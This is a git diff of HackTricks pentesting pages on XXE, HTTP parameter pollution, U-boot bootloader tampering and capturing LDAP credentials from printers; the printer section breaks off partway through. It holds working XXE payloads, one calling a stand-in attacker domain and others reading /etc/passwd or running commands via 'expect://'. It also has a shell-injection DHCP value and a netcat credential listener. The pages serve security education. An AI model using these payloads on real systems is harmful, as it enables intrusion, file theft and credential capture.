In [**this writeup**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) you can see how a HTTP query like `a=1&a=2` will be interpreted differently by Flask and PHP running on an Apache HTTP Server. In Flask, the parameter will be `1` (first occurrence) while in PHP it will be `2` (last occurrence).
|
||||
# References
|
||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -18,67 +18,48 @@ An XML External Entity attack is a type of attack against an application that pa
|
|||
|
||||
## XML Basics
|
||||
|
||||
**Most of this part was taken from this amazing Portswigger page:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)
|
||||
**Most of this is based on this amazing Portswigger page:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)
|
||||
|
||||
### What is XML? <a href="#what-is-xml" id="what-is-xml"></a>
|
||||
### Overview of Extensible Markup Language <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a>
|
||||
|
||||
XML stands for "extensible markup language". XML is a language designed for storing and transporting data. Like HTML, XML uses a tree-like structure of tags and data. Unlike HTML, XML does not use predefined tags, and so tags can be given names that describe the data. Earlier in the web's history, XML was in vogue as a data transport format (the "X" in "AJAX" stands for "XML"). But its popularity has now declined in favor of the JSON format.
|
||||
Extensible Markup Language, commonly abbreviated as XML, is defined as a markup language that is utilized for the storage and transportation of data. Employing a structure reminiscent of a tree, composed of tags and data akin to HTML, XML distinguishes itself by not restricting to predefined tags. This flexibility allows for the utilization of tags named descriptively according to the data they encapsulate. Historically, XML gained prominence as a format for data transport, notably represented by its contribution to the acronym "AJAX" (where "X" stands for "XML"). However, its popularity has waned, with JSON emerging as the preferred format.
|
||||
|
||||
### What are XML entities? <a href="#what-are-xml-entities" id="what-are-xml-entities"></a>
|
||||
### Representation of Data Items in XML Through Entities <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a>
|
||||
|
||||
XML entities are a way of representing an item of data within an XML document, instead of using the data itself. Various entities are built in to the specification of the XML language. For example, the entities `<` and `>` represent the characters `<` and `>`. These are metacharacters used to denote XML tags, and so must generally be represented using their entities when they appear within data.
|
||||
In XML, entities serve as mechanisms for representing data items within a document, offering an alternative to direct data insertion. The XML specification incorporates various built-in entities. For instance, `<` and `>` serve to represent the `<` and `>` characters, respectively. Given their role in demarcating XML tags, these metacharacters must often be depicted using entities when they are to appear within the data.
|
||||
|
||||
### What are XML elements?
|
||||
### Defining XML Elements
|
||||
|
||||
Element type declarations set the rules for the type and number of elements that may appear in an XML document, what elements may appear inside each other, and what order they must appear in. For example:
|
||||
Element type declarations are critical in XML, as they establish the guidelines for the presence, types, and sequencing of elements within an XML document. Illustrative examples include:
|
||||
|
||||
* `<!ELEMENT stockCheck ANY>` Means that any object could be inside the parent `<stockCheck></stockCheck>`
|
||||
* \<!ELEMENT stockCheck EMPTY> Means that it should be empty `<stockCheck></stockCheck>`
|
||||
* \<!ELEMENT stockCheck (productId,storeId)> Declares that `<stockCheck>` can have the children `<productId>` and `<storeId>`
|
||||
- `<!ELEMENT stockCheck ANY>` signifies that the `<stockCheck></stockCheck>` element may enclose any type of object.
|
||||
- `<!ELEMENT stockCheck EMPTY>` dictates that the `<stockCheck></stockCheck>` element should remain devoid of content.
|
||||
- `<!ELEMENT stockCheck (productId,storeId)>` specifies that the `<stockCheck>` element may only contain `<productId>` and `<storeId>` as child elements.
|
||||
|
||||
### What is document type definition? <a href="#what-is-document-type-definition" id="what-is-document-type-definition"></a>
|
||||
### Introduction to Document Type Definition <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a>
|
||||
|
||||
The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional `DOCTYPE` element at the start of the XML document. The DTD can be fully self-contained within the document itself (known as an "internal DTD") or can be loaded from elsewhere (known as an "external DTD") or can be hybrid of the two.
|
||||
Document Type Definition (DTD) plays a pivotal role in XML by providing declarations that can dictate an XML document's structure, permissible data types, and more. The `DOCTYPE` element, which is optional and positioned at the beginning of an XML document, can declare a DTD. DTDs may be categorized as "internal" when fully embedded within a document, "external" when loaded from an external source, or a combination of both.
|
||||
|
||||
### What are XML custom entities? <a href="#what-are-xml-custom-entities" id="what-are-xml-custom-entities"></a>
|
||||
### Utilization of Custom Entities in XML <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a>
|
||||
|
||||
XML allows custom entities to be defined within the DTD. For example:
|
||||
XML facilitates the definition of custom entities within a DTD. An example declaration:
|
||||
|
||||
`<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>`
|
||||
|
||||
This definition means that any usage of the entity reference `&myentity;` within the XML document will be replaced with the defined value: "`my entity value`".
|
||||
Such a declaration indicates that the entity reference `&myentity;` within the document will substitute with "my entity value".
|
||||
|
||||
### What are XML external entities? <a href="#what-are-xml-external-entities" id="what-are-xml-external-entities"></a>
|
||||
### Incorporation of External Entities in XML <a href="#incorporation-of-external-entities-in-xml" id="incorporation-of-external-entities-in-xml"></a>
|
||||
|
||||
XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.
|
||||
External entities in XML are a subtype of custom entities, characterized by their definitions being external to the DTD. These entities utilize the `SYSTEM` keyword and necessitate a URL specifying the location from which the entity's value is to be retrieved, potentially enabling [XML external entity attacks](https://portswigger.net/web-security/xxe).
|
||||
|
||||
The declaration of an external entity uses the `SYSTEM` keyword and must specify a URL from which the value of the entity should be loaded. For example:
|
||||
### Exploiting XML Parameter Entities for XXE Detection
|
||||
|
||||
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>`
|
||||
In scenarios where standard entities are ineffective for exploiting XXE vulnerabilities due to validation or XML parser hardening, XML parameter entities may be employed. Distinguished by the inclusion of a percent character preceding the entity name and referenced using the same character, XML parameter entities are exclusively referenced within the DTD. They can facilitate blind XXE detection through out-of-band methods, exemplified by initiating a DNS lookup and HTTP request to an attacker-controlled domain, thereby confirming the exploit's success.
|
||||
|
||||
The URL can use the `file://` protocol, and so external entities can be loaded from file. For example:
|
||||
|
||||
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>`
|
||||
|
||||
XML external entities provide the primary means by which [XML external entity attacks](https://portswigger.net/web-security/xxe) arise.
|
||||
|
||||
### What are XML Parameter entities?
|
||||
|
||||
Sometimes, XXE attacks using regular entities are blocked, due to some input validation by the application or some hardening of the XML parser that is being used. In this situation, you might be able to use XML parameter entities instead. XML parameter entities are a special kind of XML entity which can only be referenced elsewhere within the DTD. For present purposes, you only need to know two things. First, the declaration of an XML parameter entity includes the percent character before the entity name:
|
||||
|
||||
`<!ENTITY % myparameterentity "my parameter entity value" >`
|
||||
|
||||
And second, parameter entities are referenced using the percent character instead of the usual ampersand: `%myparameterentity;`
|
||||
|
||||
This means that you can test for blind XXE using out-of-band detection via XML parameter entities as follows:
|
||||
|
||||
`<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>`
|
||||
|
||||
This XXE payload declares an XML parameter entity called `xxe` and then uses the entity within the DTD. This will cause a DNS lookup and HTTP request to the attacker's domain, verifying that the attack was successful.
|
||||
|
||||
## Main attacks
|
||||
|
||||
[Most of these attacks were tested using the awesome Portswiggers XEE labs: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
**[Most of these attacks were tested using the awesome Portswiggers XEE labs: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
|
||||
|
||||
### New Entity test
|
||||
|
||||
|
@ -234,34 +215,33 @@ _**Please notice that external DTD allows us to include one entity inside the se
|
|||
|
||||
### **Error Based (system DTD)**
|
||||
|
||||
So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)?. [Information from here](https://portswigger.net/web-security/xxe/blind).
|
||||
So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)?.
|
||||
|
||||
In this situation, it might still be possible to **trigger error messages containing sensitive data**, due to a loophole in the XML language specification. If a document's **DTD uses a hybrid of internal and external DTD** declarations, then the **internal DTD can redefine entities that are declared in the external DTD**. When this happens, the restriction on using an XML parameter entity within the definition of another parameter entity is relaxed.
|
||||
A loophole in the XML language specification can **expose sensitive data through error messages when a document's DTD blends internal and external declarations**. This issue allows for the internal redefinition of entities declared externally, facilitating the execution of error-based XXE attacks. Such attacks exploit the redefinition of an XML parameter entity, originally declared in an external DTD, from within an internal DTD. When out-of-band connections are blocked by the server, attackers must rely on local DTD files to conduct the attack, aiming to induce a parsing error to reveal sensitive information.
|
||||
|
||||
This means that an attacker can employ the **error-based XXE technique from within an internal DTD**, provided the XML parameter entity that they use is **redefining an entity that is declared within an external DTD**. Of course, if out-of-band connections are blocked, then the external DTD cannot be loaded from a remote location. Instead, it needs to be an **external DTD file that is local to the application server**. _Essentially, the attack involves invoking a DTD file that happens to exist on the local filesystem and repurposing it to redefine an existing entity in a way that triggers a parsing error containing sensitive data._
|
||||
|
||||
For example, suppose there is a DTD file on the server filesystem at the location `/usr/local/app/schema.dtd`, and this DTD file defines an entity called `custom_entity`. An attacker can trigger an XML parsing error message containing the contents of the `/etc/passwd` file by submitting a hybrid DTD like the following:
|
||||
Consider a scenario where the server's filesystem contains a DTD file at `/usr/local/app/schema.dtd`, defining an entity named `custom_entity`. An attacker can induce an XML parsing error revealing the contents of the `/etc/passwd` file by submitting a hybrid DTD as follows:
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
<!ENTITY % custom_entity '
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
|
||||
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file'>">
|
||||
%eval;
|
||||
%error;
|
||||
'>
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
The outlined steps are executed by this DTD:
|
||||
|
||||
This DTD carries out the following steps:
|
||||
- The definition of an XML parameter entity named `local_dtd` includes the external DTD file located on the server's filesystem.
|
||||
- A redefinition occurs for the `custom_entity` XML parameter entity, originally defined in the external DTD, to encapsulate an [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). This redefinition is designed to elicit a parsing error, exposing the contents of the `/etc/passwd` file.
|
||||
- By employing the `local_dtd` entity, the external DTD is engaged, encompassing the newly defined `custom_entity`. This sequence of actions precipitates the emission of the error message aimed for by the exploit.
|
||||
|
||||
* Defines an XML parameter entity called `local_dtd`, containing the contents of the external DTD file that exists on the server filesystem.
|
||||
* Redefines the XML parameter entity called `custom_entity`, which is already defined in the external DTD file. The entity is redefined as containing the [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) that was already described, for triggering an error message containing the contents of the `/etc/passwd` file.
|
||||
* Uses the `local_dtd` entity, so that the external DTD is interpreted, including the redefined value of the `custom_entity` entity. This results in the desired error message.
|
||||
|
||||
**Real world example:** Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso`
|
||||
**Real world example:** Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso`
|
||||
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -289,6 +269,8 @@ As this technique uses an **internal DTD you need to find a valid one first**. Y
|
|||
]>
|
||||
```
|
||||
|
||||
For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
### Finding DTDs inside the system
|
||||
|
||||
In the following awesome github repo you can find **paths of DTDs that can be present in the system**:
|
||||
|
@ -418,37 +400,40 @@ Then you can try to crack the hash using hashcat
|
|||
|
||||
### XInclude
|
||||
|
||||
[From here.](https://portswigger.net/web-security/xxe)
|
||||
In some scenarios, **client-sent data is incorporated into an XML document by server-side processes before parsing**. This typically occurs when client data is integrated into a **backend SOAP request**, subsequently handled by a SOAP service on the backend.
|
||||
|
||||
Some applications **receive client-submitted data, embed it on the server-side into an XML document, and then parse the document**. An example of this occurs when client-submitted data is placed into a **backend SOAP request**, which is then processed by the backend SOAP service.
|
||||
Performing a traditional XXE (XML External Entity) attack proves challenging in these instances due to the limited control over the XML document's entirety, specifically the inability to alter or introduce a `DOCTYPE` element. However, leveraging `XInclude`, a feature of the XML standard that enables the assembly of an XML document from smaller sub-documents, presents a workaround. This approach allows for an `XInclude` attack within any data element of an XML document, making it feasible in cases where control is restricted to an individual piece of data embedded into a server-generated XML document.
|
||||
|
||||
In this situation, you cannot carry out a classic XXE attack, because **you don't control the entire XML** document and so cannot define or modify a `DOCTYPE` element. However, you might be able to use `XInclude` instead. `XInclude` is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an `XInclude` attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.
|
||||
To initiate an `XInclude` attack, the inclusion of the `XInclude` namespace is required, along with the specification of the file path intended for inclusion. The following example demonstrates how such an attack might be structured:
|
||||
|
||||
To perform an `XInclude` attack, you need to reference the `XInclude` namespace and provide the path to the file that you wish to include. For example:
|
||||
|
||||
```markup
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
|
||||
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
|
||||
|
||||
### SVG - File Upload
|
||||
|
||||
[From here.](https://portswigger.net/web-security/xxe)
|
||||
Files uploaded by users to certain applications, which are then processed on the server, can exploit vulnerabilities in how XML or XML-containing file formats are handled. Common file formats like office documents (DOCX) and images (SVG) are based on XML.
|
||||
|
||||
Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. Examples of XML-based formats are office document formats like DOCX and image formats like SVG.
|
||||
When users **upload images**, these images are processed or validated server-side. Even for applications expecting formats such as PNG or JPEG, the **server's image processing library might also support SVG images**. SVG, being an XML-based format, can be exploited by attackers to submit malicious SVG images, thereby exposing the server to XXE (XML External Entity) vulnerabilities.
|
||||
|
||||
For example, an application might allow users to **upload images**, and process or validate these on the server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG, the **image processing library that is being used might support SVG images**. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities.
|
||||
An example of such an exploit is shown below, where a malicious SVG image attempts to read system files:
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
|
||||
You could also try to **execute commands** using the PHP "expect" wrapper:
|
||||
Another method involves attempting to **execute commands** through the PHP "expect" wrapper:
|
||||
|
||||
```markup
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
In both instances, the SVG format is used to launch attacks that exploit the XML processing capabilities of the server's software, highlighting the need for robust input validation and security measures.
|
||||
|
||||
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
|
||||
|
||||
**Note the first line of the read file or of the result of the execution will appear INSIDE the created image. So you need to be able to access the image SVG has created.**
|
||||
|
||||
|
|
|
@ -1,49 +1,61 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Copied from [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
When modifying device start up and bootloaders such as U-boot, attempt the following:
|
||||
|
||||
* Attempt to access the bootloaders interpreter shell by pressing "0", space or other identified “magic codes” during boot.
|
||||
* Modify configurations to execute a shell command such as adding '`init=/bin/sh`' at the end of boot arguments
|
||||
* `#printenv`
|
||||
* `#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh`
|
||||
* `#saveenv`
|
||||
* `#boot`
|
||||
* Setup a tftp server to load images over the network locally from your workstation. Ensure the device has network access.
|
||||
* `#setenv ipaddr 192.168.2.2 #local IP of the device`
|
||||
* `#setenv serverip 192.168.2.1 #tftp server IP`
|
||||
* `#saveenv`
|
||||
* `#reset`
|
||||
* `#ping 192.168.2.1 #check if network access is available`
|
||||
* `#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server`
|
||||
* Use `ubootwrite.py` to write the uboot-image and push a modified firmware to gain root
|
||||
* Check for enabled debug features such as:
|
||||
* verbose logging
|
||||
* loading arbitrary kernels
|
||||
* booting from untrusted sources
|
||||
* \*Use caution: Connect one pin to ground, watch device boot up sequence, before the kernel decompresses, short/connect the grounded pin to a data pin (DO) on an SPI flash chip
|
||||
* \*Use caution: Connect one pin to ground, watch device boot up sequence, before the kernel decompresses, short/connect the grounded pin to pins 8 and 9 of the NAND flash chip at the moment U-boot decompresses the UBI image
|
||||
* \*Review the NAND flash chip’s datasheet prior to shorting pins
|
||||
* Configure a rogue DHCP server with malicious parameters as input for a device to ingest during a PXE boot
|
||||
* Use Metasploit’s (MSF) DHCP auxiliary server and modify the ‘`FILENAME`’ parameter with command injection commands such as `‘a";/bin/sh;#’` to test input validation for device startup procedures.
|
||||
|
||||
\*Hardware security testing
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
The following steps are recommended for modifying device startup configurations and bootloaders like U-boot:
|
||||
|
||||
1. **Access Bootloader's Interpreter Shell**:
|
||||
- During boot, press "0", space, or other identified "magic codes" to access the bootloader's interpreter shell.
|
||||
|
||||
2. **Modify Boot Arguments**:
|
||||
- Execute the following commands to append '`init=/bin/sh`' to the boot arguments, allowing execution of a shell command:
|
||||
%%%
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
#saveenv
|
||||
#boot
|
||||
%%%
|
||||
|
||||
3. **Setup TFTP Server**:
|
||||
- Configure a TFTP server to load images over a local network:
|
||||
%%%
|
||||
#setenv ipaddr 192.168.2.2 #local IP of the device
|
||||
#setenv serverip 192.168.2.1 #TFTP server IP
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #check network access
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes the address to load the file into and the filename of the image on the TFTP server
|
||||
%%%
|
||||
|
||||
4. **Utilize `ubootwrite.py`**:
|
||||
- Use `ubootwrite.py` to write the U-boot image and push a modified firmware to gain root access.
|
||||
|
||||
5. **Check Debug Features**:
|
||||
- Verify if debug features like verbose logging, loading arbitrary kernels, or booting from untrusted sources are enabled.
|
||||
|
||||
6. **Cautionary Hardware Interference**:
|
||||
- Be cautious when connecting one pin to ground and interacting with SPI or NAND flash chips during the device boot-up sequence, particularly before the kernel decompresses. Consult the NAND flash chip's datasheet before shorting pins.
|
||||
|
||||
7. **Configure Rogue DHCP Server**:
|
||||
- Set up a rogue DHCP server with malicious parameters for a device to ingest during a PXE boot. Utilize tools like Metasploit's (MSF) DHCP auxiliary server. Modify the 'FILENAME' parameter with command injection commands such as `'a";/bin/sh;#'` to test input validation for device startup procedures.
|
||||
|
||||
**Note**: The steps involving physical interaction with device pins (*marked with asterisks) should be approached with extreme caution to avoid damaging the device.
|
||||
|
||||
|
||||
# References
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -105,13 +105,21 @@ You won't find HackTricks filled with annoying ads like other blogs with much le
|
|||
* **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
{% endhint %}
|
||||
|
||||
In any case know that HackTricks in this case would be improving your **SEO** and **encouraging** people to **check your page**. If you still want the content of your blog to be removed from HackTricks let us know.
|
||||
In any case know that HackTricks in this case would be improving your **SEO** and **encouraging** people to **check your page** (people has mentioned us that since some page of them is in HackTricks they receive more visits). If you still want the content of your blog to be removed from HackTricks let us know.
|
||||
|
||||
Note that asking this we will definitely **remove every link to your blog**, but if the same technique can be found in other web pages we will just change the source of the information and the explanation, so the real content won't probably leave HackTricks (in cybersecurity, in general, there are always several post talking about the same technique).
|
||||
Note that asking this we will definitely **remove every link to your blog**, and any content based on it.
|
||||
|
||||
{% hint style="danger" %}
|
||||
* **What should I do if I find copy-pasted content in HackTricks?**
|
||||
{% endhint %}
|
||||
|
||||
**Unfortunatelly yhis practice came from the beginning of the project**. We have always tried to **give the original authors all the credits**. If you find a page with copy-pasted content (even with the original source referenced), let us know and we will either **remove it**, **leave the link**, or **rewrite it**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
||||
## License
|
||||
|
||||
**Copyright © Carlos Polop 2023. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
|
||||
**Copyright © Carlos Polop 2024. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
|
||||
**If you want to use it with commercial purposes, contact me.**
|
||||
|
||||
## **Disclaimer**
|
||||
|
|
|
@ -27,294 +27,41 @@ Some blogs about the topic:
|
|||
* [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/)
|
||||
* [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
|
||||
**The following information was copied from** [**https://grimhacker.com/2018/03/09/just-a-printer/**](https://grimhacker.com/2018/03/09/just-a-printer/)
|
||||
## Printer Configuration
|
||||
- **Location**: The LDAP server list is found at: `Network > LDAP Setting > Setting Up LDAP`.
|
||||
- **Behavior**: The interface allows LDAP server modifications without re-entering credentials, aiming for user convenience but posing security risks.
|
||||
- **Exploit**: The exploit involves redirecting the LDAP server address to a controlled machine and leveraging the "Test Connection" feature to capture credentials.
|
||||
|
||||
# LDAP settings
|
||||
## Capturing Credentials
|
||||
|
||||
On Konica Minolta printers it is possible to configure an LDAP server to connect to, along with credentials. In earlier versions of the firmware on these devices I have heard it is possible to recover the credentials simply by reading the html source of the page. Now, however the credentials are not returned in the interface so we have to work a little harder.
|
||||
### Method 1: Netcat Listener
|
||||
A simple netcat listener might suffice:
|
||||
|
||||
The list of LDAP Servers is under: Network > LDAP Setting > Setting Up LDAP
|
||||
|
||||
The interface allows the LDAP server to be modified without re-entering the credentials that will be used to connect. I presume this is for a simpler user experience, but it gives an opportunity for an attacker to escalate from master of a printer to a toe hold on the domain.
|
||||
|
||||
We can reconfigure the LDAP server address setting to a machine we control, and trigger a connection with the helpful “Test Connection” functionality.
|
||||
|
||||
# Listening for the goods
|
||||
|
||||
## netcat
|
||||
|
||||
If you have better luck than me, you may be able to get away with a simple netcat listener:
|
||||
|
||||
```
|
||||
```bash
|
||||
sudo nc -k -v -l -p 386
|
||||
```
|
||||
|
||||
I am assured by [@\_castleinthesky](https://twitter.com/\_castleinthesky) that this works most of the time, however I have yet to be let off that easy.
|
||||
However, this method's success varies.
|
||||
|
||||
## Slapd
|
||||
### Method 2: Full LDAP Server with Slapd
|
||||
A more reliable approach involves setting up a full LDAP server because the printer performs a null bind followed by a query before attempting credential binding.
|
||||
|
||||
I have found that a full LDAP server is required as the printer first attempts a null bind and then queries the available information, only if these operations are successful does it proceed to bind with the credentials.
|
||||
1. **LDAP Server Setup**: The guide follows steps from [this source](https://www.server-world.info/en/note?os=Fedora_26&p=openldap).
|
||||
2. **Key Steps**:
|
||||
- Install OpenLDAP.
|
||||
- Configure admin password.
|
||||
- Import basic schemas.
|
||||
- Set domain name on LDAP DB.
|
||||
- Configure LDAP TLS.
|
||||
3. **LDAP Service Execution**: Once set up, the LDAP service can be run using:
|
||||
```
|
||||
slapd -d 2
|
||||
```
|
||||
|
||||
I searched for a simple ldap server that met the requirements, however there seemed to be limited options. In the end I opted to setup an open ldap server and use the slapd debug server service to accept connections and print out the messages from the printer. (If you know of an easier alternative, I would be happy to hear about it)
|
||||
**For more detailed steps, refer to the original [source](https://grimhacker.com/2018/03/09/just-a-printer/).**
|
||||
|
||||
### Installation
|
||||
|
||||
(Note this section is a lightly adapted version of the guide here [https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap](https://www.server-world.info/en/note?os=Fedora\_26\&p=openldap) )
|
||||
|
||||
From a root terminal:
|
||||
|
||||
**Install OpenLDAP,**
|
||||
|
||||
```
|
||||
#> dnf install -y install openldap-servers openldap-clients
|
||||
|
||||
#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG
|
||||
|
||||
#> chown ldap. /var/lib/ldap/DB_CONFIG
|
||||
```
|
||||
|
||||
**Set an OpenLDAP admin password (you will need this again shortly)**
|
||||
|
||||
```
|
||||
#> slappasswd
|
||||
New password:
|
||||
Re-enter new password:
|
||||
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
|
||||
```
|
||||
|
||||
```
|
||||
#> vim chrootpw.ldif
|
||||
# specify the password generated above for "olcRootPW" section
|
||||
dn: olcDatabase={0}config,cn=config
|
||||
changetype: modify
|
||||
add: olcRootPW
|
||||
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
|
||||
```
|
||||
|
||||
```
|
||||
#> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
modifying entry "olcDatabase={0}config,cn=config"
|
||||
```
|
||||
|
||||
**Import basic Schemas**
|
||||
|
||||
```
|
||||
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
|
||||
SASL SSF: 0
|
||||
adding new entry "cn=cosine,cn=schema,cn=config"
|
||||
|
||||
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif
|
||||
SASL/EXTERNAL authentication started
|
||||
